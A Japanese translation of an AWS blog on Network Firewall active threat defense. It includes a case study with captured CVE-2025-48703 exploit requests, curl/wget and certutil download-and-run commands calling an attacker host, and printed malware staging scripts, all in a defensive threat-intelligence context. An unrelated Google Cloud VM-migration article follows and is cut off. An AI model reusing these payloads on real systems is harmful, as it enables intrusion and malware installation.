本ブログは 2026 年 1 月 8 日に公開された AWS Blog “ Real-time malware defense: Leveraging AWS Network Firewall active threat defense ” を翻訳したものです。 サイバー脅威は、従来のセキュリティ防御では対応しきれない速さで進化しています。潜在的なセキュリティ上の問題を抱えるワークロードは、 90 秒以内 に脅威アクターに発見され、3 分以内には悪用の試みが始まります。脅威アクターは攻撃手法を急速に進化させており、新たなマルウェアの亜種、エクスプロイト手法、回避戦術が次々と生まれています。また、インフラストラクチャ (IP アドレス、ドメイン、URL) もローテーションします。ワークロードを効果的に防御するには、脅威データを迅速に保護対策へと落とし込む必要がありますが、インターネット規模で運用する場合、これは容易ではありません。この記事では、 AWS Network Firewall 向けの AWS アクティブ脅威防御 (active threat defense) を使用して、これらの潜在的な脅威を検出・ブロックし、クラウドワークロードを保護する方法を説明します。 アクティブ脅威防御は、 MadPot を通じて収集されたリアルタイムのインテリジェンスを活用して、ネットワーク脅威を検出し、ブロックします。MadPot は、攻撃パターンを能動的に監視するために Amazon が使用しているハニーポットセンサーのネットワークです。アクティブ脅威防御のルールにおいて、スピードは目指すべき目標ではなく、前提となる基本原則です。脅威アクターがマルウェアをホストするための新しいドメインを作成したり、新しいコマンドアンドコントロール (C2) サーバーをセットアップしたりすると、MadPot はその動きをとらえます。MadPot から新しいインテリジェンスを受け取ると、アクティブ脅威防御は 30 分以内にそのインテリジェンスを自動的に変換し、 Amazon GuardDuty による脅威検出と、 AWS Network Firewall による能動的な保護を実現します。 ただし、スピードだけでは十分ではありません。適切な脅威指標を、対応する緩和策に適用する必要もあります。アクティブ脅威防御は、攻撃をあらゆる段階で阻止します。偵察スキャンをブロックし、マルウェアのダウンロードを防ぎ、侵害されたシステムと、それを操る脅威アクターとの間の C2 通信を遮断します。これにより、一部のレイヤーをすり抜ける攻撃でも阻止できる、多層的な防御アプローチが実現します。 アクティブ脅威防御の仕組み MadPot のハニーポットは、クラウドサーバー、データベース、ウェブアプリケーションを模倣しており、脅威アクターが積極的に探す設定ミスやセキュリティ上の欠陥まで再現しています。脅威アクターがおとりに対して攻撃を開始すると、MadPot はハニーポットに対する攻撃ライフサイクル全体を捕捉します。そして、脅威アクターのインフラストラクチャをマッピングし、新たな攻撃手法をとらえ、これまでにない脅威パターンを特定します。さらに AWS は、MadPot での観測結果に基づいてインターネットをより広範囲にスキャンし、類似したフィンガープリントを持つインフラストラクチャも特定しています。 図 1: アクティブ脅威防御の統合の概要 図 1 は、この仕組みを示しています。脅威アクターが MadPot のハニーポットにマルウェアのペイロードを配信すると、AWS は隔離された環境で悪意のあるコードを実行し、マルウェアの動作 (接続先のドメイン、ドロップするファイル、悪用するプロトコル) から侵害の痕跡 (indicators of compromise) を抽出します。この脅威インテリジェンスは、アクティブ脅威防御の自動保護に活用されます。アクティブ脅威防御は、指標を検証してファイアウォールルールに変換し、パフォーマンスへの影響をテストしたうえで、Network Firewall にグローバルにデプロイします。これらすべてを 30 分以内に完了します。また、脅威は常に進化するため、アクティブ脅威防御は脅威アクターのインフラストラクチャの変化を監視し、脅威アクターがドメインをローテーションしたり、IP アドレスを変更したり、戦術を変えたりするたびに、保護ルールを自動的に更新します。このように、アクティブ脅威防御は脅威の進化に合わせて自動的に適応します。 図 2: スイスチーズモデル アクティブ脅威防御は、防御における スイスチーズモデル (図 2 を参照) を採用しています。これは、単独で完璧なセキュリティコントロールは存在しないものの、不完全なレイヤーを複数重ねることで堅牢な保護を実現できるという考え方です。どの防御レイヤーにも穴があります。脅威アクターは IP への直接接続によって DNS フィルタリングを回避でき、暗号化されたトラフィックは HTTP インスペクションをすり抜け、ドメインフロンティングや IP のみの接続は TLS の SNI (Server Name Indication) 分析を回避します。そこでアクティブ脅威防御は、複数のインスペクションポイントにわたって脅威指標を適用します。脅威アクターが 1 つのレイヤーを回避しても、他のレイヤーで検出してブロックできます。MadPot が悪意のあるドメインを特定すると、Network Firewall はそのドメインをブロックするだけでなく、DNS クエリの拒否、HTTP Host ヘッダーのブロック、SNI を使用した TLS 接続の防止、解決された IP アドレスへの直接接続のドロップを行うルールも作成します。スイスチーズのスライスを重ねると穴が一直線に並ぶことはほとんどないのと同様に、アクティブ脅威防御は、脅威アクターが標的に至る完全な経路を見つける可能性を低減します。 アクティブ脅威防御による攻撃キルチェーンの阻止 ここでは、アクティブ脅威防御がこのスイスチーズアプローチによって、攻撃ライフサイクル全体にわたり脅威アクターをどのように阻止するかを見ていきましょう。図 3 は、脅威アクターが標的を侵害し、悪意のあるアクティビティのために永続的な制御を確立する際の攻撃手法の例を示しています (詳細は以降のセクションで説明します)。現代の攻撃では、あらゆる段階でネットワーク通信が必要になります。アクティブ脅威防御は、まさにその通信に対して多層的な防御を構築します。この攻撃フローは、各段階で悪意のある通信を傍受してブロックできる、ネットワークレイヤーのセキュリティコントロールの重要性を示しています。こうしたコントロールがあれば、初期の脆弱性が存在する場合でも、侵害の成立を防ぐことができます。 図 3: OAST 手法を使用した攻撃シナリオのフローの例 ステップ 0: インフラストラクチャの準備 攻撃を開始する前に、脅威アクターは運用インフラストラクチャをプロビジョニングします。例えば、 OAST (out-of-band application security testing) のコールバックエンドポイントのセットアップがこれに当たります。OAST は、脅威アクターが別の通信チャネルを通じてエクスプロイトの成功を確認するために使用する偵察手法です。また、被害者に感染させるペイロードをホストするマルウェア配信サーバーや、侵害したシステムを管理するための C2 サーバーもプロビジョニングします。脅威アクターがおとりシステムに対してこのインフラストラクチャを使用すると、MadPot のハニーポットがそれを検出し、その指標をアクティブ脅威防御の保護ルールに取り込みます。 ステップ 1: 標的の特定 脅威アクターは、自動化されたインターネットスキャンや、アンダーグラウンドマーケットでの標的リストの購入によって、潜在的な被害者のリストを作成します。探しているのは、脆弱なソフトウェアを実行しているワークロード、公開されたサービス、よくある設定ミスなどです。MadPot のハニーポットシステムでは、潜在的な脅威アクターとのこうしたやり取りが毎日 7 億 5,000 万件以上発生しています。新しい MadPot センサーは 90 秒以内に発見されます。こうした可視性により、通常であれば見過ごされてしまうパターンが明らかになります。アクティブ脅威防御は偵察そのものを阻止するわけではありませんが、MadPot の可視性を活用して後続の段階を阻止します。 ステップ 2: 脆弱性の確認 脅威アクターは、エクスプロイトのペイロード内に OAST コールバックの仕組みを埋め込み、標的ワークロードの脆弱性を確認しようとします。例えば、 http://malicious-callback[.]com/verify?target=victim のような悪意のある URL を、ウェブフォーム、HTTP ヘッダー、API パラメータ、その他の入力フィールドに挿入します。正規のセキュリティスキャナーでも使われている OAST ドメイン名を使用する脅威アクターもいれば、検出を回避するために独自に用意したドメインを使用する脅威アクターもいます。次の表は、過去 90 日間に脅威アクターが OAST リンクを使用して MadPot に対して悪用を試みた脆弱性の例 18 件を示しています。 CVE ID 脆弱性名 CVE-2017-10271 Oracle WebLogic Server のデシリアライゼーションによるリモートコード実行 (RCE) CVE-2017-11610 Supervisor XML-RPC の認証バイパス CVE-2020-14882 Oracle WebLogic Server コンソールの RCE CVE-2021-33690 SAP NetWeaver のサーバーサイドリクエストフォージェリ (SSRF) CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22947 VMware Spring Cloud gateway の RCE CVE-2022-22963 VMware Tanzu Spring Cloud function の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2023-22527 Atlassian Confluence Data Center および Server のテンプレートインジェクションの脆弱性 CVE-2023-43208 NextGen Healthcare Mirth connect の RCE CVE-2023-46805 Ivanti Connect Secure および Policy Secure の認証バイパスの脆弱性 CVE-2024-13160 Ivanti Endpoint Manager (EPM) の絶対パストラバーサルの脆弱性 CVE-2024-21893 Ivanti Connect Secure、Policy Secure、Neurons の SSRF の脆弱性 CVE-2024-36401 OSGeo GeoServer GeoTools の eval インジェクションの脆弱性 CVE-2024-37032 Ollama API サーバーのパストラバーサル CVE-2024-51568 CyberPanel の RCE CVE-2024-8883 Keycloak のリダイレクト URI 検証の脆弱性 CVE-2025-34028 Commvault Command Center のパストラバーサルの脆弱性 ステップ 3: OAST コールバック 脆弱なワークロードがこれらの悪意のあるペイロードを処理すると、脅威アクターの OAST 監視サーバーに対してコールバック接続を開始しようとします。通常であれば、脅威アクターはこのコールバックシグナルによってエクスプロイトの成功を確認でき、さらに侵害されたワークロード、脆弱性の種類、攻撃を進める経路に関するインテリジェンスも得られます。アクティブ脅威防御は、この時点で攻撃チェーンを断ち切ります。MadPot は悪意のあるドメインまたは IP アドレスを特定し、アクティブ脅威防御の拒否リストに追加します。脆弱な標的が脅威アクターの OAST エンドポイントへのネットワーク呼び出しを実行しようとすると、アクティブ脅威防御を有効にした Network Firewall がアウトバウンド接続をブロックします。エクスプロイト自体は成功するかもしれませんが、成功の確認が得られなければ、脅威アクターはどの標的に攻撃を進めるべきか判断できず、攻撃は停滞します。 ステップ 4: マルウェア配信の準備 脆弱な標的を特定した脅威アクターは、その脆弱性を悪用して、永続的なアクセスを確立するためのマルウェアを配信します。次の表は、過去 90 日間に脅威アクターがマルウェアを配信するために MadPot に対して悪用を試みた 20 件の脆弱性を示しています。 CVE ID 脆弱性名 CVE-2017-12149 Jboss Application Server の RCE CVE-2020-7961 Liferay Portal の RCE CVE-2021-26084 Confluence Server および Data Center の RCE CVE-2021-41773 Apache HTTP サーバーのパストラバーサルおよび RCE CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22954 VMware Workspace ONE access および identity manager の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2022-44877 Control Web Panel または CentOS Web Panel の RCE CVE-2023-22527 Confluence Data Center および Server の RCE CVE-2023-43208 NextGen Healthcare Mirth Connect の RCE CVE-2023-46604 Java OpenWire プロトコルマーシャラーの RCE CVE-2024-23692 Rejetto HTTP ファイルサーバーの RCE CVE-2024-24919 Check Point セキュリティゲートウェイの RCE CVE-2024-36401 GeoServer の RCE CVE-2024-51567 CyberPanel の RCE CVE-2025-20281 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-20337 Cisco ISE および Cisco ISE-PIC の RCE CVE-2025-24016 Wazuh の RCE CVE-2025-47812 Wing FTP の RCE CVE-2025-48703 CWP の RCE ステップ 5: マルウェアのダウンロード 侵害された標的は、脅威アクターの配信サーバーからマルウェアのペイロードをダウンロードしようとしますが、ここでもアクティブ脅威防御が介入します。マルウェアをホストするインフラストラクチャは、ドメイン、URL、IP アドレスのいずれであっても、既に MadPot によって特定され、Network Firewall によってブロックされています。マルウェアが TLS エンドポイント経由で配信される場合、アクティブ脅威防御は、TLS ハンドシェイク中に SNI を検査するルールによって、トラフィックを復号することなく悪意のあるドメインを特定してブロックします。マルウェアが TLS エンドポイント以外から配信される場合や、お客様が Network Firewall の TLS インスペクション機能 を有効にしている場合は、アクティブ脅威防御のルールが URL 全体と HTTP ヘッダーを検査し、コンテンツベースのルールを適用したうえで、正当なトラフィックを再暗号化して転送します。マルウェアの配信と実行が成功しなければ、脅威アクターは制御を確立できません。 ステップ 6: C2 接続 仮に何らかの方法でマルウェアが配信された場合、マルウェアは脅威アクターの C2 サーバーに接続して指示を受け取ろうとします。この時点で、アクティブ脅威防御の別のレイヤーが作動します。アクティブ脅威防御は、Network Firewall において複数のプロトコルレイヤーにまたがる仕組みを実装しており、C2 通信が継続的な悪意のある活動につながる前に特定してブロックします。DNS レイヤーでは、Network Firewall は既知の悪意のある C2 ドメインに対する名前解決リクエストをブロックし、マルウェアが接続先を見つけられないようにします。TCP レイヤーでは、C2 の IP アドレスとポートへの直接接続をブロックします。TLS レイヤーでは、ステップ 5 で説明したように、SNI インスペクションとフィンガープリント手法 (有効にしている場合は完全な復号) を使用して、暗号化された C2 トラフィックを特定します。Network Firewall は既知の悪意のある C2 インフラストラクチャへのアウトバウンド接続をブロックし、脅威アクターが感染したワークロードを制御できないようにします。侵害されたワークロード上にマルウェアが存在していても、隔離されて脅威アクターと通信できないため、実質的に無力化されます。また、C2 への接続の試みに対しては Amazon GuardDuty で脅威の検出結果が作成されるため、インシデント対応のワークフローを開始できます。次の表は、過去 90 日間に MadPot と AWS によるインターネット全体のスキャンで観測された C2 フレームワークの例です。 C2 フレームワーク Adaptix Metasploit AsyncRAT Mirai Brute Ratel Mythic Cobalt Strike Platypus Covenant Quasar Deimos Sliver Empire SparkRAT Havoc XorDDoS ステップ 7: 攻撃目的の阻止 C2 への接続ができなければ、脅威アクターはデータを盗むことも、認証情報を外部に持ち出すこともできません。アクティブ脅威防御の多層的なアプローチでは、脅威アクターはすべてのステップで成功しなければならない一方、お客様はいずれか 1 つの段階をブロックするだけでアクティビティを阻止できます。この多層防御 (defense-in-depth) のアプローチにより、一部の防御レイヤーに脆弱性がある場合でもリスクを低減できます。アクティブ脅威防御のアクションは、 Network Firewall のアラートログ で追跡できます。 実際の攻撃シナリオ – CVE-2025-48703 を悪用する攻撃キャンペーンの阻止 2025 年 10 月、AWS の MadPot ハニーポットは、Control Web Panel (CWP) を標的とした攻撃キャンペーンを検出し始めました。CWP は、ホスティングプロバイダーやシステム管理者が使用するサーバー管理プラットフォームです。脅威アクターは、CWP のリモートコード実行の脆弱性である CVE-2025-48703 を悪用して、 Mythic C2 フレームワーク をデプロイしようとしていました。Mythic は、本来は正当なレッドチーム活動のために設計されたオープンソースの C2 プラットフォームですが、脅威アクターが悪意のあるキャンペーンに利用することもあります。エクスプロイトの試みは IP アドレス 61.244.94[.]126 から発信されており、この IP アドレスには VPN 出口ノードと一致する特徴が見られました。 脅威アクターは、脆弱な標的を確認するために、CWP のファイルマネージャーの脆弱性を悪用してオペレーティングシステムのコマンドを実行しようとしました。MadPot のハニーポットは、次のような whoami コマンドを使用したエクスプロイトの試みを受信しました。 POST /nginx/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 455 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/nginx ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" whoami /priv ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- このキャンペーンでは脆弱性の確認に OAST コールバックは使われていませんでしたが、MadPot では、次の例のように OAST コールバックを使用した同様の CVE-2025-48703 のエクスプロイトの試みも観測されています。 POST /debian/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:8085 user-agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 content-length: 503 content-type: multipart/form-data; boundary=z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 accept-encoding: gzip connection: close --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="fileName" .bashrc --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="currentPath" /home/debian --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="recursive" --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5 Content-Disposition: form-data; name="t_total" ping d4c81ab7l0phir01tus0888p1xozqw1bs.oast[.]fun --z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5-- 脆弱なシステムを特定すると、攻撃は直ちにペイロードの配信へと移りました。MadPot は、Linux と Windows の両方のワークロードを標的とした感染の試みを捕捉しました。Linux の標的に対しては、脅威アクターは curl と wget を使用してマルウェアをダウンロードしようとしました。 POST /cwp/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:5704 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 539 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/cwp ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" (curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt||wget -T180 -q hxxp://vc2.b1ack[.]cat:28571/slt)|sh ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- Windows システムに対しては、Microsoft の certutil.exe ユーティリティを使用してマルウェアをダウンロードしようとしました。 POST /panel/index.php?module=filemanager&acc=changePerm HTTP/1.1 host: xx.xxx.xxx.xxx:49153 content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb content-length: 557 ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="fileName" .bashrc ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="currentPath" /home/panel ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="recursive" ------WebKitFormBoundaryrTrcHpS9ovyhBLtb Content-Disposition: form-data; name="t_total" certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat ------WebKitFormBoundaryrTrcHpS9ovyhBLtb-- MadPot のハニーポットは、こうしたエクスプロイトの試みを観測すると、脆弱なサーバーと同じように悪意のあるペイロードをダウンロードします。MadPot はその観測結果を基に、複数の分析レイヤーで脅威指標を抽出します。 レイヤー 1 – MadPot は、マルウェアをホストしているステージング URL と、その背後にある IP アドレスを特定しました。 hxxp://vc2.b1ack[.]cat:28571/slt (Linux スクリプト, SHA256: bdf17b3047a9c9de24483cce55279e62a268c01c2aba6ddadee42518a9ccddfc) hxxp://196.251.116[.]232:28571/slt hxxp://vc2.b1ack[.]cat:28571/swt (Windows スクリプト, SHA256: 6ec153a14ec3a2f38edd0ac411bd035d00668a860ee0140e087bb4083610f7cf) hxxp://196.251.116[.]232:28571/swt レイヤー 2 – MadPot がマルウェアを分析した結果、Windows バッチファイル ( SHA256: 6ec153a1... ) には、システムアーキテクチャを判別して適切な Mythic エージェントをダウンロードするロジックが含まれていることが判明しました。 @echo off setlocal enabledelayedexpansion set u64="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w64&stage=true" set u32="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w32&stage=true" set v="C:\Users\Public\350b0949tcp.exe" del %v% for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do ( set "ARCH=64" ) if "%ARCH%"=="64" ( certutil.exe -urlcache -split -f %u64% %v% ) else ( certutil.exe -urlcache -split -f %u32% %v% ) start "" %v% exit /b 0 Linux スクリプト ( SHA256: bdf17b30... ) は、x86_64、i386、i686、aarch64、armv7l の各アーキテクチャに対応していました。 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin l64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l64&stage=true" l32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l32&stage=true" a64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a64&stage=true" a32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a32&stage=true" v="43b6f642tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') # [additional architecture checks] fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) レイヤー 3 – MadPot は、これらのステージングスクリプトと、そこで参照されているインフラストラクチャを分析することで、Mythic C2 フレームワークのエンドポイントを示す追加の脅威指標を特定しました。 ヘルスチェックエンドポイント 196.251.116[.]232:7443 および vc2.b1ack[.]cat:7443 HTTP リスナー 196.251.116[.]232:80 および vc2.b1ack[.]cat:80 MadPot の分析から 30 分以内に、この攻撃インフラストラクチャのすべてのレイヤーを対象とした保護ルールが、世界中の Network Firewall のインスタンスにデプロイされました。その結果、脆弱な CWP 環境もこのキャンペーンから保護された状態が保たれました。エクスプロイトが curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt または certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt を実行しようとしても、インフラストラクチャが稼働している間は、Network Firewall が vc2.b1ack[.]cat ドメインの名前解決と 196.251.116[.]232:28571 への接続の両方をブロックしていたためです。脆弱なアプリケーションがエクスプロイトのペイロードを実行した可能性はありますが、Network Firewall はネットワークレイヤーでマルウェアのダウンロードをブロックしました。 仮にステージングスクリプトが別の手段で標的に到達したとしても、アーキテクチャ固有の URL がブロックされているため、Mythic エージェントのバイナリをダウンロードしようとした時点で失敗していたはずです。さらに、まったく別の感染経路で Mythic エージェントのバイナリが配信され、実行されたとしても、C2 を確立することはできなかったはずです。マルウェアがポート 7443 の Mythic フレームワークのヘルスエンドポイントや、ポート 80 の HTTP リスナーに接続しようとしても、Network Firewall がネットワーク境界でそれらの接続を遮断していたはずだからです。 このシナリオは、アクティブ脅威防御のインテリジェンスパイプラインが、脅威アクティビティのさまざまな段階をどのように阻止するかを示しています。これこそがスイスチーズモデルの実践です。ある防御レイヤー (例えば OAST のブロック) が適用できない場合でも、後続のレイヤー (ホストされたマルウェアのダウンロード、マルウェアのネットワーク動作、ボットネットインフラストラクチャの特定) が重層的に保護します。MadPot による攻撃の分析では、各レイヤーで追加の脅威指標が明らかになり、それらが攻撃チェーンのさまざまな段階でお客様を保護します。 つまり、パッチ未適用の CWP 環境を使用している GuardDuty のお客様は、アクティブ脅威防御で追跡している脅威指標に該当する通信先との通信が試みられていれば、脅威の検出結果を受け取っていたはずです。また、アクティブ脅威防御を使用している Network Firewall のお客様の場合、パッチ未適用の CWP ワークロードは、この CVE が 11 月 4 日に CISA の Known Exploited Vulnerabilities カタログ に追加されるよりも前から、このキャンペーンに対して自動的に保護されていたはずです。 まとめ Network Firewall 向けの AWS アクティブ脅威防御は、MadPot のインテリジェンスと多層的な保護を活用して攻撃者のキルチェーンを阻止し、セキュリティチームの運用負担を軽減します。ルールが自動でデプロイされるため、アクティブ脅威防御は MadPot が新たな脅威を検出してから 30 分以内に多層的な防御を構築します。Amazon GuardDuty のお客様は、アクティブ脅威防御が特定した悪意のあるインフラストラクチャとワークロードが通信しようとすると、脅威の検出結果を自動的に受け取ります。また、AWS Network Firewall のお客様は、アクティブ脅威防御マネージドルールグループを使用して、これらの脅威を能動的にブロックできます。使用を開始するには、 AWS Network Firewall での Amazon 脅威インテリジェンスを活用したセキュリティポスチャの強化 を参照してください。   この記事に関するご質問は、 AWS サポートにお問い合わせ ください。   Rahi Patel Rahi は、ネットワーキングを専門とする AWS の Startups Technical Account Manager です。グローバルな AWS デプロイ全体でパフォーマンスを最適化するクラウドネットワーキングソリューションを設計しています。以前は Cisco Meraki でネットワークエンジニアを務めていました。サンノゼ州立大学で工学の修士号を取得しています。仕事以外では、テニスとピックルボールを楽しんでいます。 Paul Bodmer Paul は AWS の Security Engineering Manager で、Perimeter Protection Threat Research Team を率いています。AWS がディセプション技術を活用し、AWS の社内外のセキュリティサービス向けに実用的な脅威インテリジェンスを生み出すための戦略的な方針の策定を担当しています。 Nima Sharifi Mehr Nima は AWS の Principal Security Engineer で、Perimeter Protection Threat Research Team の技術的な方向性を統括しています。また、MadPot の開発者でもあります。MadPot は現在、Amazon のサイバーセキュリティ戦略の柱として社内のさまざまなチームで活用されており、お客様とパートナーを保護するとともに、世界のサイバーセキュリティ水準の向上に貢献しています。 Maxim Raya Maxim は AWS の Security Specialist Solutions Architect です。お客様が AWS 環境のセキュリティとコンプライアンスに確信を持てるよう支援し、クラウドトランスフォーメーションの加速をサポートしています。 Santosh Shanbhag Santosh は、セキュリティ、データ保護、コンプライアンスを専門とする経験豊富なプロダクトリーダーです。AWS では、AWS Network Firewall やアクティブ脅威防御をはじめとするネットワークおよびアプリケーションセキュリティサービスを通じて、ワークロードの保護に注力しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

G-gen の本間です。当記事では、 Migrate to Virtual Machines を使って、Amazon Web Services（AWS）から Google Cloud へ仮想マシンを移行する方法を解説します。 はじめに Migrate to Virtual Machines とは サポートされる環境 移行手順の概要 前提事項 AWS 側の設定 Google Cloud 側の設定 注意点 AWS 側の設定 Google Cloud 側の設定 インスタンスのレプリケーション ターゲットインスタンスの定義 テストクローンの作成と動作確認 カットオーバー レプリケーションの最終処理 はじめに Migrate to Virtual Machines とは Migrate to Virtual Machines は、オンプレミス環境や他のクラウド環境から Google Cloud の Compute Engine へ仮想マシンを移行するための Google Cloud サービスです。 このサービスでは、移行元の仮想マシンを稼働させたまま、Google Cloud 上にデータをレプリケーションできるため、移行に伴うダウンタイムを最小限に抑えられます。 参考 : Migrate to Virtual Machines のドキュメント サポートされる環境 Migrate to Virtual Machines では VMware、Amazon Web Services（以下、AWS）、Microsoft Azure が移行元としてサポートされています。ただし、それぞれの環境ごとにサポートされている OS が決まっているため、事前に確認する必要があります。 また、AWS からの移行においては、対象となる EC2 インスタンスの OS やディスクのタイプが、Migrate to Virtual Machines でサポートされているかについても事前に確認する必要があります。 なお、AWS 側からのデータ転送には、AWS のアウトバウンドデータ転送料金が発生します。移行対象のデータ量が多い場合は、コストに注意してください。 参考 : サポートされているオペレーティング システム 移行手順の概要 前提事項 当記事の解説における前提として、AWS 側では、VPC 内のパブリックサブネットに Windows Server 2025 の EC2 インスタンスを構築済みであり、インターネットゲートウェイ（IGW）経由でのルーティングおよびセキュリティグループの設定によりインターネットへのアウトバウンド通信の準備が完了しているものとします。 また、Google Cloud 側ではインスタンスを配置する対象リージョンの VPC ネットワークとサブネットの構築が完了しているものとします。移行先 VM の構築自体に特段通信要件はありませんが、移行工程でテストクローンを実施する場合、移行元 VM と移行先 VM が同時に起動する状態となります。予期しないトラブルを防止するため、移行先 VM と、移行元 VM および周辺システムが通信できないネットワーク設定とすることが推奨されます。 AWS 側の設定 AWS 側の手順では IAM ポリシーとユーザーの作成を行います。この際、アクセスキーとシークレットアクセスキーも発行します。 また、VPC や EC2 インスタンスが、前述の前提事項や後述の注意点に準拠していることを確認してください。 Google Cloud 側の設定 Google Cloud 側の大まかな手順は以下のとおりです。 インスタンスのレプリケーション ターゲットインスタンスの定義 テストクローンの作成と動作確認 カットオーバー レプリケーションの最終処理 最初に、AWS 側の VM のディスクデータを Google Cloud 側に同期します。この工程をレプリケーションと呼びます。この工程では Google Cloud 側に VM は起動せず、あくまでディスクのデータのみをコピーします。データは Migrate to Virtual Machines のマネージドなストレージに保管されます。 続いて、コピーしたデータを元にしてどのようなスペックで Google Cloud 側の VM として起動するかを定義し、その設定に基づいて実際に VM を起動します。テスト環境用に VM を起動することをテストクローンの作成、本番環境用に VM を起動することをカットオーバーといいます。 注意点 Google Cloud に移行する VM は、ブートパーティションに 128 MB 以上の空き容量が必要です。 レプリケーションは初回実施時から100日間、アクティブ状態が維持されます。100日経過後、EXPIRED 状態に移行し、レプリケーションサイクルが停止します。再びアクティブ状態にするには初回実施時から130日経過する前に存続期間を延長する必要があります。期間の延長は1回のみ可能で、追加で100日間アクティブ状態にできます。よって、VM の移行はこの期間内に完了させる必要があります。 Migrate to Virtual Machines では、レプリケーションのプロセスを通して OS 適応 というプロセスが自動的に実行されます。OS 適応は VM を Google Cloud 上で適切に動作させるために、パッケージのインストールやネットワーク設定等を行うプロセスです。このプロセスは Linux と Windows の両方で行われ、Linux VM では /root で最大640 MiB、/boot で最大128 MiB、/var で最大64 MiB、/tmp で最大32 MiB の空き容量が必要です。Windows VM では C ドライブに最大1.25 GiB の空き容量が必要です。 カットオーバー実行時は移行元の VM が停止されるため、注意してください。 参考 : 個々の VM を移行する - 前提条件 参考 : 移行中の VM のライフサイクル 参考 : Google Cloud で実行するように VM インスタンスを適応させる 参考 : VM の移行プロセス - カットオーバーフェーズ AWS 側の設定 当記事では、AWS 側の設定手順の詳細な解説は省略します。詳細は、公式ドキュメントを参照してください。 まずは AWS マネジメントコンソールにログインし、Migrate to Virtual Machines が必要とする権限を定義した IAM ポリシーを作成します。 参考 : AWS ソースを作成する - AWS IAM ポリシーを作成する 次に、作成した IAM ポリシーをアタッチした IAM ユーザーを作成します。この IAM ユーザーは、AWS リソースへのプログラムによるアクセス（API 経由でのアクセス）に使用されます。 IAM ユーザー作成後に IAM ユーザーの「セキュリティ認証情報」から、アクセスキーおよびシークレットアクセスキーを発行します。これらのキーは、Google Cloud 側の設定で使用するため、安全な場所に記録しておきます。 参考 : AWS ソースを作成する - IAM ユーザーを作成する Google Cloud 側の設定 インスタンスのレプリケーション 以下は、2026年8月現在の Google Cloud コンソール画面を前提とした手順です。 Google Cloud コンソールの上部検索ボックスに「Migrate to Virtual Machines」と入力して表示されるサジェストから「Migrate to Virtual Machines」画面へ進みます。表示された画面上部の「ソース」タブを選択し、「ソースを追加」から「AWS ソースを追加します」を選択します。 AWS ソースの作成画面から事前に発行した AWS IAM ユーザーのアクセスキーとシークレットアクセスキー、および対象の AWS リージョンを入力して、ソース環境を登録します。 このとき、AWS セキュリティグループやタグを使って対象のインスタンスをフィルタリングできます。 ソースを追加すると、指定した AWS リージョン内に存在する EC2 